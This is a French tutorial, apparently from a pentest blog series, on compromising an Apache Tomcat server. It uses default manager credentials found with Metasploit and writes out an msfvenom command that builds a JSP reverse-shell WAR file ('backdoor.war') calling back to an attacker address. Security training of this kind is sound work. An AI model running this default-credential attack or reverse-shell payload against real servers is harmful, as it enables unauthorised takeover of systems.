Méthodologie d’un test intrusion d’un serveur web | Partie 4 – La recherche et exploitation de vulnérabilités : Intrusion via le service Tomcat.

Nous allons voir dans cet article, un autre vecteur d’attaque potentiel : Tomcat
Tomcat est un serveur d’applications, plus précisément un conteneur web libre de servlets et JSP.
Lors de la cartographie des services, un service sur le port 8080 était disponible.

Zone de texte réservée à la légende de l’image ci-dessus.

A une certaine époque, les serveurs Tomcat étaient particulièrement appréciés par des auditeurs/cybercriminels, car souvent faciles à pénétrer. En effet, de nombreux serveurs (souvent en interne) utilisent les identifiants administrateurs par défaut qui permettent l’installation d’applications malveillantes.

Pour tester les comptes par défaut du serveur Tomcat, il existe le module metasploit tomcat_mgr_login.

Zone de texte réservée à la légende de l’image ci-dessus.

Nous avons détecté que l’identifiant suivant était valide : tomcat/tomcat. La prochaine étape est d’utiliser ses identifiants pour installer une application malveillante (qui nous permet de prendre le contrôle du serveur)

Il existe 2 modules metasploit associés : exploit/multi/tomcat_mgr_upload et exploit/multi/http/tomcat_mgr_deploy. Néanmoins, lors de l’utilisation des modules, une erreur avec metasploit empêche le déploiement d’un shell distant :

Zone de texte réservée à la légende de l’image ci-dessus.

Ceci est l’occasion d’apprendre à réaliser le déploiement manuellement.

Méthodologie :

Créer une application malicieuse (shell distant)
Se connecter au serveur tomcat avec les identifiants détectés précédemment
Déployer l’application
Obtenir un accès au serveur

Pour créer l’application de prise de contrôle à distance, on utilise le composant msfvenom. MSFvenom Payload Creator ou msfpc est un script Bash qui permet de générer très rapidement des payloads Metasploit.
Plus d’informations sur msfvenom sont disponibles ici : https://www.offensive-security.com/metasploit-unleashed/msfvenom/

Dans le cas présent, nous allons générer un reverse-shell java avec la commande suivante :

Msfvenom –p <payload> LHOST=<adresse_ip_attaquant> LPORT=<port_attaquant> -f <format_de_sortie>

Msfvenom –p java/jsp_shell_reverse_tcp LHOST=192.168.56.1 LPORT=8888 –f war > backdoor.war

Le fichier de sortie (backdoor.war) sera l’application à déployer sur le serveur. Elle contient un script qui réalisera une connexion (reverse-shell) sur notre poste (192.168.56.1) sur le port indiqué (8888).

Zone de texte réservée à la légende de l’image ci-dessus.

Avis